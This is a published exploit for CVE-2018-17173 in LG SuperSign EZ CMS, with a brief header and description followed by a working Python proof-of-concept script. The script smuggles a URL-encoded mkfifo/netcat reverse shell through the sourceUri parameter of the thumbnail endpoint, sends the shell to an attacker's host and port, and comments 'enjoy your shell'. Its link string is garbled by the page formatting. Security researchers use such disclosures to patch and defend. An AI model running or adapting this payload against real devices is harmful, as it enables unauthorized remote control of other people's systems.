# Exploit Title: LG SuperSign EZ CMS 2.5 - Remote Code Execution # Date: 2018-09-18 # Exploit Author: Alejandro Fanjul # Vendor Homepage:https://www.lg.com # Software Link: https://www.lg.com/ar/software-lg-supersign # Version: SuperSignEZ 1.3 # Tested on: LG WebOS 3.10 # CVE : CVE-2018-17173 # 1. Description # LG SuperSignEZ CMS, that many LG SuperSign TVs have built in, is prone # to remote code execution due to an improper parameter handling # 2. Proof of concept # Code to exploit the vulnerability import requests from argparse import ArgumentParser parser = ArgumentParser(description="SuperSign RCE") parser.add_argument("-t", "--target", dest="target", help="Target") parser.add_argument("-l", "--lhost", dest="lhost", help="lhost") parser.add_argument("-p", "--lport", dest="lport", help="lport") args = parser.parse_args() #LG SupersignEZ always run in port 9080, so in target you must type: #LG_SuperSign_IP:9080 #Example #supersign-exploit.py -t LG_SuperSign_IP:9080 -l attacker_ip -p 4444 #In the attacker machine wait for the shell with nc -lvp 4444 #enjoy your shell s = requests.get('[http://'+](http://%27+/) str(args.target).replace('\n', '') +'/qsr_server/device/getThumbnail?sourceUri=\'%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20'+str(args.lhost)+'%20'+str(args.lport)+'%20%3E%2Ftmp%2Ff;\'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150')